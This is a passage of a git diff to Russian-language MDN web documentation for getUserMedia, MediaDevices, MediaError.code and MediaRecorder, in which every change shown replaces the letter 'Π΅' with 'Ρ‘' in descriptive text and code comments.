Π½ΡƒΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ΠΌ ΠΊ Ρ€Π°Π±ΠΎΡ‚Π΅ с Π½ΠΈΠΌ. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π±Ρ‹Π» доступСн Π²Β Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ…Β Π½Π΅ высокого уровня, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒΒ Π½ΡƒΠΆΠ½ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΠΈΠ±ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("allow", "iframe")}} Π½Π° элСмСнтС {{HTMLElement("iframe")}} , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Β <code>getUserMedia()</code>, Π»ΠΈΠ±ΠΎΒ Β {{HTTPHeader("Feature-Policy")}}Β Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ для страниц , ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‰ΠΈΡ…ΡΡ с сСрвСра,Β  ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚Β <code>getUserMedia()</code>.</p>
<p>Π”Π²Π° Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Ρ€Π°Ρ‰Π°ΡŽΡ‚ΡΡ ΠΊ <code>getUserMedia()</code>Β -Β <code>camera</code>Β ΠΈΒ <code>microphone</code>.</p>
@@ -203,7 +203,7 @@ translation_of: Web/API/MediaDevices/getUserMedia
<h4 id="Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ_Π½Π°_основС_ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΡ">Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ Π½Π° основС ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈΡ</h4>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code>getUserMedia()</code> доступСн <em>Ρ‚ΠΎΠ»ΡŒΠΊΠΎ</em> для <a href="/en-US/docs/Web/Security/Secure_Contexts">бСзопасных контСкстов</a>. БСзопасный контСкст - это ΡƒΠ²Π΅Ρ€Π΅Π½Π½ΠΎΡΡ‚ΡŒΒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΒ Β Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Β Π±Ρ‹Π» Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ бСзопасно, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ Β HTTPS/TLS, ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΡƒΡŽ ΠΏΠΎΠ΄Π²Π΅Ρ€ΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ нСбСзопасным контСкстам. Если Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π½Π΅ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ Π² бСзопасном контСкстС, свойство  {{domxref("navigator.mediaDevices")}} Ρ€Π°Π²Π½ΠΎΒ <code>undefined</code>, дСлая Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ доступ ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄ΡƒΒ <code>getUserMedia()</code>. ΠŸΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ Π² Ρ‚Π°ΠΊΠΎΠΉ ситуации ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ошибкС <code>TypeError</code>.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code>getUserMedia()</code> доступСн <em>Ρ‚ΠΎΠ»ΡŒΠΊΠΎ</em> для <a href="/en-US/docs/Web/Security/Secure_Contexts">бСзопасных контСкстов</a>. БСзопасный контСкст - это ΡƒΠ²Π΅Ρ€Π΅Π½Π½ΠΎΡΡ‚ΡŒΒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΒ Β Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Β Π±Ρ‹Π» Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ бСзопасно, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ Β HTTPS/TLS, ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΡƒΡŽ ΠΏΠΎΠ΄Π²Π΅Ρ€ΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ нСбСзопасным контСкстам. Если Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π½Π΅ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ Π² бСзопасном контСкстС, свойство  {{domxref("navigator.mediaDevices")}} Ρ€Π°Π²Π½ΠΎΒ <code>undefined</code>, дСлая Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ доступ ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄ΡƒΒ <code>getUserMedia()</code>. ΠŸΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ Π² Ρ‚Π°ΠΊΠΎΠΉ ситуации ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ошибкС <code>TypeError</code>.</p>
<h4 id="Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ_источника_Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°">Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ источника Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°</h4>
@@ -211,7 +211,7 @@ translation_of: Web/API/MediaDevices/getUserMedia
<ul>
<li>Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΉ в пСсочницу {{HTMLElement("iframe")}} элСмСнта Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ <code>getUserMedia()</code>, Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ ΠΏΠΎΠΊΠ°, на элСмСнтС <code>&lt;iframe&gt;</code>Β Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Β {{htmlattrxref("sandbox", "iframe")}}, установлСнный Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>allow-same-origin</code>.</li>
- <li>Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΉ ΠΏΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π°ΠΌ <code>data://</code>Β ΠΈΠ»ΠΈΒ <code>blob://</code>Β Π² URL-адрСсС, Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΉΒ ΠΈΡΡ‚ΠΎΡ‡Π½ΠΈΠΊΠ°Β Β (Ρ‚Π°ΠΊΠΈΠΌΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‚ΠΈΠΏΡ‹Β URL-ΠΎΠ², Π²Π²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ Π² строкС адрСса Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°) Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒΒ <code>getUserMedia()</code>. ΠŸΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹Β  URL-ΠΎΠ², Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌΡ‹Π΅Β ΠΈΠ·Β JavaScript ΠΊΠΎΠ΄Π°, Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ скрипта.</li>
+ <li>Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΉ ΠΏΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π°ΠΌ <code>data://</code>Β ΠΈΠ»ΠΈΒ <code>blob://</code>Β Π² URL-адрСсС, Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΉΒ ΠΈΡΡ‚ΠΎΡ‡Π½ΠΈΠΊΠ°Β Β (Ρ‚Π°ΠΊΠΈΠΌΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‚ΠΈΠΏΡ‹Β URL-ΠΎΠ², Π²Π²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌΠΈ Π² строкС адрСса Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°) Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒΒ <code>getUserMedia()</code>. ΠŸΠΎΠ΄ΠΎΠ±Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹Β  URL-ΠΎΠ², Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌΡ‹Π΅Β ΠΈΠ·Β JavaScript ΠΊΠΎΠ΄Π°, Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ скрипта.</li>
<li>Π˜Π½Ρ‹Π΅ ситуации,Β Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ источника, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ элСмСнт, содСрТащий Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β {{htmlattrxref("srcdoc", "iframe")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΉΡΡΒ Π΄Π»Ρ указания содСрТимого Ρ„Ρ€Π΅ΠΉΠΌΠ°.</li>
</ul>
@@ -258,14 +258,14 @@ if (navigator.mediaDevices.getUserMedia === undefined) {
Β  var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
- //НСкоторыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ Π΅Π³ΠΎ, Ρ‚ΠΎΠ³Π΄Π° Π²Π΅Ρ€Π½Π΅ΠΌ ΠΎΡ‚ΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΉ промис
+ //НСкоторыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ Π΅Π³ΠΎ, Ρ‚ΠΎΠ³Π΄Π° Π²Π΅Ρ€Π½Ρ‘ΠΌ ΠΎΡ‚ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΉ промис
// с ошибкой для поддСрТания ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ интСрфСйса
if (!getUserMedia) {
return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
}
- // Π˜Π½Π°Ρ‡Π΅, ΠΎΠ±Π΅Ρ€Π½Π΅ΠΌ промисом ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΉ navigator.getUserMedia
+ // Π˜Π½Π°Ρ‡Π΅, ΠΎΠ±Π΅Ρ€Π½Ρ‘ΠΌ промисом ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΉ navigator.getUserMedia
return new Promise(function(resolve, reject) {
getUserMedia.call(navigator, constraints, resolve, reject);
diff --git a/files/ru/web/api/mediadevices/index.html b/files/ru/web/api/mediadevices/index.html
index 18b3ea99da..c32a95bac6 100644
--- a/files/ru/web/api/mediadevices/index.html
+++ b/files/ru/web/api/mediadevices/index.html
@@ -17,7 +17,7 @@ translation_of: Web/API/MediaDevices
---
<div>{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}</div>
-<p><span class="seoSummary">Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ <strong><code>MediaDevices</code></strong> прСдоставляСт доступ ΠΊ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΌ ΠΌΠ΅Π΄ΠΈΠ°-устройствам Π²Π²ΠΎΠ΄Π°, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ ΠΊΠ°ΠΌΠ΅Ρ€Π°, ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΊ совмСстному использованию экрана. Π’ сущности, ΠΎΠ½ позволяСт ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ доступ ΠΊ Π»ΡŽΠ±ΠΎΠΌΡƒ устройству ΠΌΠ΅Π΄ΠΈΠ°-Π΄Π°Π½Π½Ρ‹Ρ….</span></p>
+<p><span class="seoSummary">Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ <strong><code>MediaDevices</code></strong> прСдоставляСт доступ ΠΊ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΌ ΠΌΠ΅Π΄ΠΈΠ°-устройствам Π²Π²ΠΎΠ΄Π°, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ ΠΊΠ°ΠΌΠ΅Ρ€Π°, ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΊ совмСстному использованию экрана. Π’ сущности, ΠΎΠ½ позволяСт ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ доступ ΠΊ Π»ΡŽΠ±ΠΎΠΌΡƒ устройству ΠΌΠ΅Π΄ΠΈΠ°-Π΄Π°Π½Π½Ρ‹Ρ….</span></p>
<h2 id="Бвойства">Бвойства</h2>
@@ -36,7 +36,7 @@ translation_of: Web/API/MediaDevices
<dl>
<dt>{{ domxref("EventTarget.addEventListener()") }}</dt>
- <dd>РСгистрируСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° событий.</dd>
+ <dd>РСгистрируСт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° событий.</dd>
<dt>{{ domxref("MediaDevices.enumerateDevices()") }}</dt>
<dd>ΠŸΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ массив ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΒ ΠΌΠ΅Π΄ΠΈΠ°-устройствС Π²Π²ΠΎΠ΄Π°-Π²Ρ‹Π²ΠΎΠ΄Π°.</dd>
<dt>{{domxref("MediaDevices.getSupportedConstraints()")}}</dt>
diff --git a/files/ru/web/api/mediaerror/code/index.html b/files/ru/web/api/mediaerror/code/index.html
index a08f5c0752..64b925aeb8 100644
--- a/files/ru/web/api/mediaerror/code/index.html
+++ b/files/ru/web/api/mediaerror/code/index.html
@@ -51,7 +51,7 @@ translation_of: Web/API/MediaError/code
<td><code>MEDIA_ERR_DECODE</code></td>
<td><code>3</code></td>
<td>
- <p>НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π½Π΅Π΅ рСсурс Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ, ΠΏΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ мСдиарСсурс ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»Π° ошибка.</p>
+ <p>НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π½Π΅Π΅ рСсурс Π±Ρ‹Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ, ΠΏΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ мСдиарСсурс ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»Π° ошибка.</p>
</td>
</tr>
<tr>
@@ -66,7 +66,7 @@ translation_of: Web/API/MediaError/code
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ создаСтся элСмСнт {{HTMLElement("video")}}, устанавливаСтся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ошибок для Π½Π΅Π³ΠΎ, Π° Π·Π°Ρ‚Π΅ΠΌ устанавливаСтся Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ элСмСнта {{htmlattrxref("src", "video")}} для видСорСсурса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π² элСмСнтС. ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ошибок просто Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ сообщСниС</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ создаётся элСмСнт {{HTMLElement("video")}}, устанавливаСтся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ошибок для Π½Π΅Π³ΠΎ, Π° Π·Π°Ρ‚Π΅ΠΌ устанавливаСтся Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ элСмСнта {{htmlattrxref("src", "video")}} для видСорСсурса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π² элСмСнтС. ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ошибок просто Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ сообщСниС</p>
<pre class="brush: js">var obj = document.createElement('video');
obj.onerror = function() {console.log("Ошибка с носитСлями ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ: " + obj.error.code);}
diff --git a/files/ru/web/api/mediarecorder/index.html b/files/ru/web/api/mediarecorder/index.html
index 1f0332b9b6..2234f133c0 100644
--- a/files/ru/web/api/mediarecorder/index.html
+++ b/files/ru/web/api/mediarecorder/index.html
@@ -5,13 +5,13 @@ translation_of: Web/API/MediaRecorder
---
<p>{{APIRef("Media Recorder API")}}</p>
-<p>The <strong><code>MediaRecorder</code></strong> это интСрфСйс <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a>Β ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ для простой записи ΠΌΠ΅Π΄ΠΈΠ°. БоздаСтся с использованиСм {{domxref("MediaRecorder.MediaRecorder", "MediaRecorder()")}} конструктора.</p>
+<p>The <strong><code>MediaRecorder</code></strong> это интСрфСйс <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a>Β ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ для простой записи ΠΌΠ΅Π΄ΠΈΠ°. Боздаётся с использованиСм {{domxref("MediaRecorder.MediaRecorder", "MediaRecorder()")}} конструктора.</p>
<h2 id="ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€">ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€</h2>
<dl>
<dt>{{domxref("MediaRecorder.MediaRecorder", "MediaRecorder()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>MediaRecorder</code>, ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‰ΠΈΠΉ {{domxref("MediaStream")}} для записи. Доступны Ρ‚Π°ΠΊΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, ΠΊΠ°ΠΊ установка Ρ‚ΠΈΠΏΠ° MIME ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° (<code>"video/webm","video/mp4"</code> ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅) ΠΈ скорости ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π°ΡƒΠ΄ΠΈΠΎ-ΠΈ Π²ΠΈΠ΄Π΅ΠΎΠ΄ΠΎΡ€ΠΎΠΆΠ΅ΠΊ ΠΈΠ»ΠΈ ΠΎΠ΄Π½ΠΎΠΉ ΠΎΠ±Ρ‰Π΅ΠΉ скорости.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>MediaRecorder</code>, ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‰ΠΈΠΉ {{domxref("MediaStream")}} для записи. Доступны Ρ‚Π°ΠΊΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, ΠΊΠ°ΠΊ установка Ρ‚ΠΈΠΏΠ° MIME ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° (<code>"video/webm","video/mp4"</code> ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅) ΠΈ скорости ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π°ΡƒΠ΄ΠΈΠΎ-ΠΈ Π²ΠΈΠ΄Π΅ΠΎΠ΄ΠΎΡ€ΠΎΠΆΠ΅ΠΊ ΠΈΠ»ΠΈ ΠΎΠ΄Π½ΠΎΠΉ ΠΎΠ±Ρ‰Π΅ΠΉ скорости.</dd>
</dl>
<h2 id="Бвойства">Бвойства</h2>
@@ -24,11 +24,11 @@ translation_of: Web/API/MediaRecorder
<dt>{{domxref("MediaRecorder.stream")}} {{readonlyInline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΠΎΡ‚ΠΎΠΊ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ конструктору ΠΏΡ€ΠΈ создании ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>MediaRecorder</code></dd>
<dt>{{domxref("MediaRecorder.ignoreMutedMedia")}}</dt>
- <dd>ΠŸΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ записываСт Π»ΠΈΒ <code>MediaRecorder </code>Π΄ΠΎΡ€ΠΎΠΆΠΊΡƒ {{domxref("MediaStreamTrack")}} Ссли ΠΎΠ½Π° ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π°. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Ρ€Π°Π²Π΅Π½<code> false,Β </code><code>MediaRecorder</code>Β Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Ρ‚ΠΈΡˆΠΈΠ½Ρƒ для Π°ΡƒΠ΄ΠΈΠΎ ΠΈ Ρ‡Π΅Ρ€Π½Ρ‹Π΅ ΠΊΠ°Π΄Ρ€Ρ‹ для Π²ΠΈΠ΄Π΅ΠΎ. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎΒ <code>false</code></dd>
+ <dd>ΠŸΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ записываСт Π»ΠΈΒ <code>MediaRecorder </code>Π΄ΠΎΡ€ΠΎΠΆΠΊΡƒ {{domxref("MediaStreamTrack")}} Ссли ΠΎΠ½Π° ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π°. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Ρ€Π°Π²Π΅Π½<code> false,Β </code><code>MediaRecorder</code>Β Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Ρ‚ΠΈΡˆΠΈΠ½Ρƒ для Π°ΡƒΠ΄ΠΈΠΎ ΠΈ Ρ‡Ρ‘Ρ€Π½Ρ‹Π΅ ΠΊΠ°Π΄Ρ€Ρ‹ для Π²ΠΈΠ΄Π΅ΠΎ. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎΒ <code>false</code></dd>
<dt>{{domxref("MediaRecorder.videoBitsPerSecond")}} {{readonlyInline}}</dt>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ кодирования Π²ΠΈΠ΄Π΅ΠΎ. ΠžΠ½Π°Β ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ скорости, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉΒ Π² конструкторС (Ссли была прСдоставлСна).</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ кодирования Π²ΠΈΠ΄Π΅ΠΎ. ΠžΠ½Π°Β ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ скорости, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉΒ Π² конструкторС (Ссли была прСдоставлСна).</dd>
<dt>{{domxref("MediaRecorder.audioBitsPerSecond;")}} {{readonlyInline}}</dt>
